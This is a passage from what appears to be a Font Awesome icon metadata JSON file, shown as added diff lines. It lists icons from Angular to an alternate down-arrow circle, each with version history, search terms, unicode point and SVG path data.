23.7-1.5zm-170.1-74.6l-4.3-17.5-39.6 2.6-8.1 18.2-31.9 2.1 57-121.9 23.9-1.6 30.7 102 9.9-104.7 27-1.8 37.8 63.6 6.5-66.6 28.5-1.9-4 41.2c7.4-13.5 22.9-44.7 63.6-47.5 40.5-2.8 52.4 29.3 53.4 30.3l3.3-32 39.3-2.7c12.7-.9 27.8.3 36.3 9.7l-4.4-11.9 32.2-2.2 12.9 43.2 23-45.7 31-2.2-43.6 78.4-4.8 44.3-28.4 1.9 4.8-44.3-15.8-43c1 22.3-9.2 40.1-32 49.6l25.2 38.8-36.4 2.4-19.2-36.8-4 38.3-28.4 1.9 3.3-31.5c-6.7 9.3-19.7 35.4-59.6 38-26.2 1.7-45.6-10.3-55.4-39.2l-4 40.3-25 1.6-37.6-63.3-6.3 66.2-56.8 3.7zm276.6-82.1c10.2-.7 17.5-2.1 21.6-4.3 4.5-2.4 7-6.4 7.6-12.1.6-5.3-.6-8.8-3.4-10.4-3.6-2.1-10.6-2.8-22.9-2l-2.9 28.8zM327.7 214c5.6 5.9 12.7 8.5 21.3 7.9 4.7-.3 9.1-1.8 13.3-4.1 5.5-3 10.6-8 15.1-14.3l-34.2 2.3 2.4-23.9 63.1-4.3 1.2-12-31.2 2.1c-4.1-3.7-7.8-6.6-11.1-8.1-4-1.7-8.1-2.8-12.2-2.5-8 .5-15.3 3.6-22 9.2-7.7 6.4-12 14.5-12.9 24.4-1.1 9.6 1.4 17.3 7.2 23.3zm-201.3 8.2l23.8-1.6-8.3-37.6-15.5 39.2z" + } + }, + "free": [ + "brands" + ] + }, + "angular": { + "changes": [ + "5.0.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f420", + "label": "Angular", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775892, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M185.7 268.1h76.2l-38.1-91.6-38.1 91.6zM223.8 32L16 106.4l31.8 275.7 176 97.9 176-97.9 31.8-275.7zM354 373.8h-48.6l-26.2-65.4H168.6l-26.2 65.4H93.7L223.8 81.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M185.7 268.1h76.2l-38.1-91.6-38.1 91.6zM223.8 32L16 106.4l31.8 275.7 176 97.9 176-97.9 31.8-275.7zM354 373.8h-48.6l-26.2-65.4H168.6l-26.2 65.4H93.7L223.8 81.5z" + } + }, + "free": [ + "brands" + ] + }, + "ankh": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "amulet", + "copper", + "coptic christianity", + "copts", + "crux ansata", + "egypt", + "venus" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f644", + "label": "Ankh", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635309, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M296 256h-44.62C272.46 222.01 288 181.65 288 144 288 55.63 230.69 0 160 0S32 55.63 32 144c0 37.65 15.54 78.01 36.62 112H24c-13.25 0-24 10.74-24 24v32c0 13.25 10.75 24 24 24h96v152c0 13.25 10.75 24 24 24h32c13.25 0 24-10.75 24-24V336h96c13.25 0 24-10.75 24-24v-32c0-13.26-10.75-24-24-24zM160 80c29.61 0 48 24.52 48 64 0 34.66-27.14 78.14-48 100.87-20.86-22.72-48-66.21-48-100.87 0-39.48 18.39-64 48-64z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M296 256h-44.62C272.46 222.01 288 181.65 288 144 288 55.63 230.69 0 160 0S32 55.63 32 144c0 37.65 15.54 78.01 36.62 112H24c-13.25 0-24 10.74-24 24v32c0 13.25 10.75 24 24 24h96v152c0 13.25 10.75 24 24 24h32c13.25 0 24-10.75 24-24V336h96c13.25 0 24-10.75 24-24v-32c0-13.26-10.75-24-24-24zM160 80c29.61 0 48 24.52 48 64 0 34.66-27.14 78.14-48 100.87-20.86-22.72-48-66.21-48-100.87 0-39.48 18.39-64 48-64z" + } + }, + "free": [ + "solid" + ] + }, + "app-store": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f36f", + "label": "App Store", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860965, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M255.9 120.9l9.1-15.7c5.6-9.8 18.1-13.1 27.9-7.5 9.8 5.6 13.1 18.1 7.5 27.9l-87.5 151.5h63.3c20.5 0 32 24.1 23.1 40.8H113.8c-11.3 0-20.4-9.1-20.4-20.4 0-11.3 9.1-20.4 20.4-20.4h52l66.6-115.4-20.8-36.1c-5.6-9.8-2.3-22.2 7.5-27.9 9.8-5.6 22.2-2.3 27.9 7.5l8.9 15.7zm-78.7 218l-19.6 34c-5.6 9.8-18.1 13.1-27.9 7.5-9.8-5.6-13.1-18.1-7.5-27.9l14.6-25.2c16.4-5.1 29.8-1.2 40.4 11.6zm168.9-61.7h53.1c11.3 0 20.4 9.1 20.4 20.4 0 11.3-9.1 20.4-20.4 20.4h-29.5l19.9 34.5c5.6 9.8 2.3 22.2-7.5 27.9-9.8 5.6-22.2 2.3-27.9-7.5-33.5-58.1-58.7-101.6-75.4-130.6-17.1-29.5-4.9-59.1 7.2-69.1 13.4 23 33.4 57.7 60.1 104zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm216 248c0 118.7-96.1 216-216 216-118.7 0-216-96.1-216-216 0-118.7 96.1-216 216-216 118.7 0 216 96.1 216 216z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M255.9 120.9l9.1-15.7c5.6-9.8 18.1-13.1 27.9-7.5 9.8 5.6 13.1 18.1 7.5 27.9l-87.5 151.5h63.3c20.5 0 32 24.1 23.1 40.8H113.8c-11.3 0-20.4-9.1-20.4-20.4 0-11.3 9.1-20.4 20.4-20.4h52l66.6-115.4-20.8-36.1c-5.6-9.8-2.3-22.2 7.5-27.9 9.8-5.6 22.2-2.3 27.9 7.5l8.9 15.7zm-78.7 218l-19.6 34c-5.6 9.8-18.1 13.1-27.9 7.5-9.8-5.6-13.1-18.1-7.5-27.9l14.6-25.2c16.4-5.1 29.8-1.2 40.4 11.6zm168.9-61.7h53.1c11.3 0 20.4 9.1 20.4 20.4 0 11.3-9.1 20.4-20.4 20.4h-29.5l19.9 34.5c5.6 9.8 2.3 22.2-7.5 27.9-9.8 5.6-22.2 2.3-27.9-7.5-33.5-58.1-58.7-101.6-75.4-130.6-17.1-29.5-4.9-59.1 7.2-69.1 13.4 23 33.4 57.7 60.1 104zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm216 248c0 118.7-96.1 216-216 216-118.7 0-216-96.1-216-216 0-118.7 96.1-216 216-216 118.7 0 216 96.1 216 216z" + } + }, + "free": [ + "brands" + ] + }, + "app-store-ios": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f370", + "label": "iOS App Store", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860965, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM127 384.5c-5.5 9.6-17.8 12.8-27.3 7.3-9.6-5.5-12.8-17.8-7.3-27.3l14.3-24.7c16.1-4.9 29.3-1.1 39.6 11.4L127 384.5zm138.9-53.9H84c-11 0-20-9-20-20s9-20 20-20h51l65.4-113.2-20.5-35.4c-5.5-9.6-2.2-21.8 7.3-27.3 9.6-5.5 21.8-2.2 27.3 7.3l8.9 15.4 8.9-15.4c5.5-9.6 17.8-12.8 27.3-7.3 9.6 5.5 12.8 17.8 7.3 27.3l-85.8 148.6h62.1c20.2 0 31.5 23.7 22.7 40zm98.1 0h-29l19.6 33.9c5.5 9.6 2.2 21.8-7.3 27.3-9.6 5.5-21.8 2.2-27.3-7.3-32.9-56.9-57.5-99.7-74-128.1-16.7-29-4.8-58 7.1-67.8 13.1 22.7 32.7 56.7 58.9 102h52c11 0 20 9 20 20 0 11.1-9 20-20 20z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM127 384.5c-5.5 9.6-17.8 12.8-27.3 7.3-9.6-5.5-12.8-17.8-7.3-27.3l14.3-24.7c16.1-4.9 29.3-1.1 39.6 11.4L127 384.5zm138.9-53.9H84c-11 0-20-9-20-20s9-20 20-20h51l65.4-113.2-20.5-35.4c-5.5-9.6-2.2-21.8 7.3-27.3 9.6-5.5 21.8-2.2 27.3 7.3l8.9 15.4 8.9-15.4c5.5-9.6 17.8-12.8 27.3-7.3 9.6 5.5 12.8 17.8 7.3 27.3l-85.8 148.6h62.1c20.2 0 31.5 23.7 22.7 40zm98.1 0h-29l19.6 33.9c5.5 9.6 2.2 21.8-7.3 27.3-9.6 5.5-21.8 2.2-27.3-7.3-32.9-56.9-57.5-99.7-74-128.1-16.7-29-4.8-58 7.1-67.8 13.1 22.7 32.7 56.7 58.9 102h52c11 0 20 9 20 20 0 11.1-9 20-20 20z" + } + }, + "free": [ + "brands" + ] + }, + "apper": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f371", + "label": "Apper Systems AB", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860965, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M42.1 239.1c22.2 0 29 2.8 33.5 14.6h.8v-22.9c0-11.3-4.8-15.4-17.9-15.4-11.3 0-14.4 2.5-15.1 12.8H4.8c.3-13.9 1.5-19.1 5.8-24.4C17.9 195 29.5 192 56.7 192c33 0 47.1 5 53.9 18.9 2 4.3 4 15.6 4 23.7v76.3H76.3l1.3-19.1h-1c-5.3 15.6-13.6 20.4-35.5 20.4-30.3 0-41.1-10.1-41.1-37.3 0-25.2 12.3-35.8 42.1-35.8zm17.1 48.1c13.1 0 16.9-3 16.9-13.4 0-9.1-4.3-11.6-19.6-11.6-13.1 0-17.9 3-17.9 12.1-.1 10.4 3.7 12.9 20.6 12.9zm77.8-94.9h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.2 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3H137v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm57.9-60.7h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.3 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3h-39.5v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm53.8-3.8c0-25.4 3.3-37.8 12.3-45.8 8.8-8.1 22.2-11.3 45.1-11.3 42.8 0 55.7 12.8 55.7 55.7v11.1h-75.3c-.3 2-.3 4-.3 4.8 0 16.9 4.5 21.9 20.1 21.9 13.9 0 17.9-3 17.9-13.9h37.5v2.3c0 9.8-2.5 18.9-6.8 24.7-7.3 9.8-19.6 13.6-44.3 13.6-27.5 0-41.6-3.3-50.6-12.3-8.5-8.5-11.3-21.3-11.3-50.8zm76.4-11.6c-.3-1.8-.3-3.3-.3-3.8 0-12.3-3.3-14.6-19.6-14.6-14.4 0-17.1 3-18.1 15.1l-.3 3.3h38.3zm55.6-45.3h38.3l-1.8 19.9h.7c6.8-14.9 14.4-20.2 29.7-20.2 10.8 0 19.1 3.3 23.4 9.3 5.3 7.3 6.8 14.4 6.8 34 0 1.5 0 5 .2 9.3h-35c.3-1.8.3-3.3.3-4 0-15.4-2-19.4-10.3-19.4-6.3 0-10.8 3.3-13.1 9.3-1 3-1 4.3-1 12.3v68h-38.3V192.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M42.1 239.1c22.2 0 29 2.8 33.5 14.6h.8v-22.9c0-11.3-4.8-15.4-17.9-15.4-11.3 0-14.4 2.5-15.1 12.8H4.8c.3-13.9 1.5-19.1 5.8-24.4C17.9 195 29.5 192 56.7 192c33 0 47.1 5 53.9 18.9 2 4.3 4 15.6 4 23.7v76.3H76.3l1.3-19.1h-1c-5.3 15.6-13.6 20.4-35.5 20.4-30.3 0-41.1-10.1-41.1-37.3 0-25.2 12.3-35.8 42.1-35.8zm17.1 48.1c13.1 0 16.9-3 16.9-13.4 0-9.1-4.3-11.6-19.6-11.6-13.1 0-17.9 3-17.9 12.1-.1 10.4 3.7 12.9 20.6 12.9zm77.8-94.9h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.2 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3H137v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm57.9-60.7h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.3 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3h-39.5v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm53.8-3.8c0-25.4 3.3-37.8 12.3-45.8 8.8-8.1 22.2-11.3 45.1-11.3 42.8 0 55.7 12.8 55.7 55.7v11.1h-75.3c-.3 2-.3 4-.3 4.8 0 16.9 4.5 21.9 20.1 21.9 13.9 0 17.9-3 17.9-13.9h37.5v2.3c0 9.8-2.5 18.9-6.8 24.7-7.3 9.8-19.6 13.6-44.3 13.6-27.5 0-41.6-3.3-50.6-12.3-8.5-8.5-11.3-21.3-11.3-50.8zm76.4-11.6c-.3-1.8-.3-3.3-.3-3.8 0-12.3-3.3-14.6-19.6-14.6-14.4 0-17.1 3-18.1 15.1l-.3 3.3h38.3zm55.6-45.3h38.3l-1.8 19.9h.7c6.8-14.9 14.4-20.2 29.7-20.2 10.8 0 19.1 3.3 23.4 9.3 5.3 7.3 6.8 14.4 6.8 34 0 1.5 0 5 .2 9.3h-35c.3-1.8.3-3.3.3-4 0-15.4-2-19.4-10.3-19.4-6.3 0-10.8 3.3-13.1 9.3-1 3-1 4.3-1 12.3v68h-38.3V192.3z" + } + }, + "free": [ + "brands" + ] + }, + "apple": { + "changes": [ + "3.2", + "5.0.0", + "5.0.7", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "fruit", + "ios", + "mac", + "operating system", + "os", + "osx" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f179", + "label": "Apple", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775892, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M318.7 268.7c-.2-36.7 16.4-64.4 50-84.8-18.8-26.9-47.2-41.7-84.7-44.6-35.5-2.8-74.3 20.7-88.5 20.7-15 0-49.4-19.7-76.4-19.7C63.3 141.2 4 184.8 4 273.5q0 39.3 14.4 81.2c12.8 36.7 59 126.7 107.2 125.2 25.2-.6 43-17.9 75.8-17.9 31.8 0 48.3 17.9 76.4 17.9 48.6-.7 90.4-82.5 102.6-119.3-65.2-30.7-61.7-90-61.7-91.9zm-56.6-164.2c27.3-32.4 24.8-61.9 24-72.5-24.1 1.4-52 16.4-67.9 34.9-17.5 19.8-27.8 44.3-25.6 71.9 26.1 2 49.9-11.4 69.5-34.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M318.7 268.7c-.2-36.7 16.4-64.4 50-84.8-18.8-26.9-47.2-41.7-84.7-44.6-35.5-2.8-74.3 20.7-88.5 20.7-15 0-49.4-19.7-76.4-19.7C63.3 141.2 4 184.8 4 273.5q0 39.3 14.4 81.2c12.8 36.7 59 126.7 107.2 125.2 25.2-.6 43-17.9 75.8-17.9 31.8 0 48.3 17.9 76.4 17.9 48.6-.7 90.4-82.5 102.6-119.3-65.2-30.7-61.7-90-61.7-91.9zm-56.6-164.2c27.3-32.4 24.8-61.9 24-72.5-24.1 1.4-52 16.4-67.9 34.9-17.5 19.8-27.8 44.3-25.6 71.9 26.1 2 49.9-11.4 69.5-34.3z" + } + }, + "free": [ + "brands" + ] + }, + "apple-alt": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "fall", + "fruit", + "fuji", + "macintosh", + "orchard", + "seasonal", + "vegan" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5d1", + "label": "Fruit Apple", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635309, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M350.85 129c25.97 4.67 47.27 18.67 63.92 42 14.65 20.67 24.64 46.67 29.96 78 4.67 28.67 4.32 57.33-1 86-7.99 47.33-23.97 87-47.94 119-28.64 38.67-64.59 58-107.87 58-10.66 0-22.3-3.33-34.96-10-8.66-5.33-18.31-8-28.97-8s-20.3 2.67-28.97 8c-12.66 6.67-24.3 10-34.96 10-43.28 0-79.23-19.33-107.87-58-23.97-32-39.95-71.67-47.94-119-5.32-28.67-5.67-57.33-1-86 5.32-31.33 15.31-57.33 29.96-78 16.65-23.33 37.95-37.33 63.92-42 15.98-2.67 37.95-.33 65.92 7 23.97 6.67 44.28 14.67 60.93 24 16.65-9.33 36.96-17.33 60.93-24 27.98-7.33 49.96-9.67 65.94-7zm-54.94-41c-9.32 8.67-21.65 15-36.96 19-10.66 3.33-22.3 5-34.96 5l-14.98-1c-1.33-9.33-1.33-20 0-32 2.67-24 10.32-42.33 22.97-55 9.32-8.67 21.65-15 36.96-19 10.66-3.33 22.3-5 34.96-5l14.98 1 1 15c0 12.67-1.67 24.33-4.99 35-3.99 15.33-10.31 27.67-18.98 37z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M350.85 129c25.97 4.67 47.27 18.67 63.92 42 14.65 20.67 24.64 46.67 29.96 78 4.67 28.67 4.32 57.33-1 86-7.99 47.33-23.97 87-47.94 119-28.64 38.67-64.59 58-107.87 58-10.66 0-22.3-3.33-34.96-10-8.66-5.33-18.31-8-28.97-8s-20.3 2.67-28.97 8c-12.66 6.67-24.3 10-34.96 10-43.28 0-79.23-19.33-107.87-58-23.97-32-39.95-71.67-47.94-119-5.32-28.67-5.67-57.33-1-86 5.32-31.33 15.31-57.33 29.96-78 16.65-23.33 37.95-37.33 63.92-42 15.98-2.67 37.95-.33 65.92 7 23.97 6.67 44.28 14.67 60.93 24 16.65-9.33 36.96-17.33 60.93-24 27.98-7.33 49.96-9.67 65.94-7zm-54.94-41c-9.32 8.67-21.65 15-36.96 19-10.66 3.33-22.3 5-34.96 5l-14.98-1c-1.33-9.33-1.33-20 0-32 2.67-24 10.32-42.33 22.97-55 9.32-8.67 21.65-15 36.96-19 10.66-3.33 22.3-5 34.96-5l14.98 1 1 15c0 12.67-1.67 24.33-4.99 35-3.99 15.33-10.31 27.67-18.98 37z" + } + }, + "free": [ + "solid" + ] + }, + "apple-pay": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f415", + "label": "Apple Pay", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440860966, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M116.9 158.5c-7.5 8.9-19.5 15.9-31.5 14.9-1.5-12 4.4-24.8 11.3-32.6 7.5-9.1 20.6-15.6 31.3-16.1 1.2 12.4-3.7 24.7-11.1 33.8m10.9 17.2c-17.4-1-32.3 9.9-40.5 9.9-8.4 0-21-9.4-34.8-9.1-17.9.3-34.5 10.4-43.6 26.5-18.8 32.3-4.9 80 13.3 106.3 8.9 13 19.5 27.3 33.5 26.8 13.3-.5 18.5-8.6 34.5-8.6 16.1 0 20.8 8.6 34.8 8.4 14.5-.3 23.6-13 32.5-26 10.1-14.8 14.3-29.1 14.5-29.9-.3-.3-28-10.9-28.3-42.9-.3-26.8 21.9-39.5 22.9-40.3-12.5-18.6-32-20.6-38.8-21.1m100.4-36.2v194.9h30.3v-66.6h41.9c38.3 0 65.1-26.3 65.1-64.3s-26.4-64-64.1-64h-73.2zm30.3 25.5h34.9c26.3 0 41.3 14 41.3 38.6s-15 38.8-41.4 38.8h-34.8V165zm162.2 170.9c19 0 36.6-9.6 44.6-24.9h.6v23.4h28v-97c0-28.1-22.5-46.3-57.1-46.3-32.1 0-55.9 18.4-56.8 43.6h27.3c2.3-12 13.4-19.9 28.6-19.9 18.5 0 28.9 8.6 28.9 24.5v10.8l-37.8 2.3c-35.1 2.1-54.1 16.5-54.1 41.5.1 25.2 19.7 42 47.8 42zm8.2-23.1c-16.1 0-26.4-7.8-26.4-19.6 0-12.3 9.9-19.4 28.8-20.5l33.6-2.1v11c0 18.2-15.5 31.2-36 31.2zm102.5 74.6c29.5 0 43.4-11.3 55.5-45.4L640 193h-30.8l-35.6 115.1h-.6L537.4 193h-31.6L557 334.9l-2.8 8.6c-4.6 14.6-12.1 20.3-25.5 20.3-2.4 0-7-.3-8.9-.5v23.4c1.8.4 9.3.7 11.6.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M116.9 158.5c-7.5 8.9-19.5 15.9-31.5 14.9-1.5-12 4.4-24.8 11.3-32.6 7.5-9.1 20.6-15.6 31.3-16.1 1.2 12.4-3.7 24.7-11.1 33.8m10.9 17.2c-17.4-1-32.3 9.9-40.5 9.9-8.4 0-21-9.4-34.8-9.1-17.9.3-34.5 10.4-43.6 26.5-18.8 32.3-4.9 80 13.3 106.3 8.9 13 19.5 27.3 33.5 26.8 13.3-.5 18.5-8.6 34.5-8.6 16.1 0 20.8 8.6 34.8 8.4 14.5-.3 23.6-13 32.5-26 10.1-14.8 14.3-29.1 14.5-29.9-.3-.3-28-10.9-28.3-42.9-.3-26.8 21.9-39.5 22.9-40.3-12.5-18.6-32-20.6-38.8-21.1m100.4-36.2v194.9h30.3v-66.6h41.9c38.3 0 65.1-26.3 65.1-64.3s-26.4-64-64.1-64h-73.2zm30.3 25.5h34.9c26.3 0 41.3 14 41.3 38.6s-15 38.8-41.4 38.8h-34.8V165zm162.2 170.9c19 0 36.6-9.6 44.6-24.9h.6v23.4h28v-97c0-28.1-22.5-46.3-57.1-46.3-32.1 0-55.9 18.4-56.8 43.6h27.3c2.3-12 13.4-19.9 28.6-19.9 18.5 0 28.9 8.6 28.9 24.5v10.8l-37.8 2.3c-35.1 2.1-54.1 16.5-54.1 41.5.1 25.2 19.7 42 47.8 42zm8.2-23.1c-16.1 0-26.4-7.8-26.4-19.6 0-12.3 9.9-19.4 28.8-20.5l33.6-2.1v11c0 18.2-15.5 31.2-36 31.2zm102.5 74.6c29.5 0 43.4-11.3 55.5-45.4L640 193h-30.8l-35.6 115.1h-.6L537.4 193h-31.6L557 334.9l-2.8 8.6c-4.6 14.6-12.1 20.3-25.5 20.3-2.4 0-7-.3-8.9-.5v23.4c1.8.4 9.3.7 11.6.7z" + } + }, + "free": [ + "brands" + ] + }, + "archive": { + "changes": [ + "3.2", + "5.0.0", + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "box", + "package", + "save", + "storage" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f187", + "label": "Archive", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635309, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 448c0 17.7 14.3 32 32 32h384c17.7 0 32-14.3 32-32V160H32v288zm160-212c0-6.6 5.4-12 12-12h104c6.6 0 12 5.4 12 12v8c0 6.6-5.4 12-12 12H204c-6.6 0-12-5.4-12-12v-8zM480 32H32C14.3 32 0 46.3 0 64v48c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16V64c0-17.7-14.3-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M32 448c0 17.7 14.3 32 32 32h384c17.7 0 32-14.3 32-32V160H32v288zm160-212c0-6.6 5.4-12 12-12h104c6.6 0 12 5.4 12 12v8c0 6.6-5.4 12-12 12H204c-6.6 0-12-5.4-12-12v-8zM480 32H32C14.3 32 0 46.3 0 64v48c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16V64c0-17.7-14.3-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "archway": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arc", + "monument", + "road", + "street", + "tunnel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f557", + "label": "Archway", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635309, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M560 448h-16V96H32v352H16.02c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16H176c8.84 0 16-7.16 16-16V320c0-53.02 42.98-96 96-96s96 42.98 96 96l.02 160v16c0 8.84 7.16 16 16 16H560c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm0-448H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h544c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M560 448h-16V96H32v352H16.02c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16H176c8.84 0 16-7.16 16-16V320c0-53.02 42.98-96 96-96s96 42.98 96 96l.02 160v16c0 8.84 7.16 16 16 16H560c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm0-448H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h544c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "arrow-alt-circle-down": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow-circle-o-down", + "download" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f358", + "label": "Alternate Arrow Circle Down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635309, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zM212 140v116h-70.9c-10.7 0-16.1 13-8.5 20.5l114.9 114.3c4.7 4.7 12.2 4.7 16.9 0l114.9-114.3c7.6-7.6 2.2-20.5-8.5-20.5H300V140c0-6.6-5.4-12-12-12h-64c-6.6 0-12 5.4-12 12z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zM212 140v116h-70.9c-10.7 0-16.1 13-8.5 20.5l114.9 114.3c4.7 4.7 12.2 4.7 16.9 0l114.9-114.3c7.6-7.6 2.2-20.5-8.5-20.5H300V140c0-6.6-5.4-12-12-12h-64c-6.6 0-12 5.4-12 12z" + }, + "regular": { + "last_modified": 1628088634654, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm-32-316v116h-67c-10.7 0-16 12.9-8.5 20.5l99 99c4.7 4.7 12.3 4.7 17 0l99-99c7.6-7.6 2.2-20.5-8.5-20.5h-67V140c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm-32-316v116h-67c-10.7 0-16 12.9-8.5 20.5l99 99c4.7 4.7 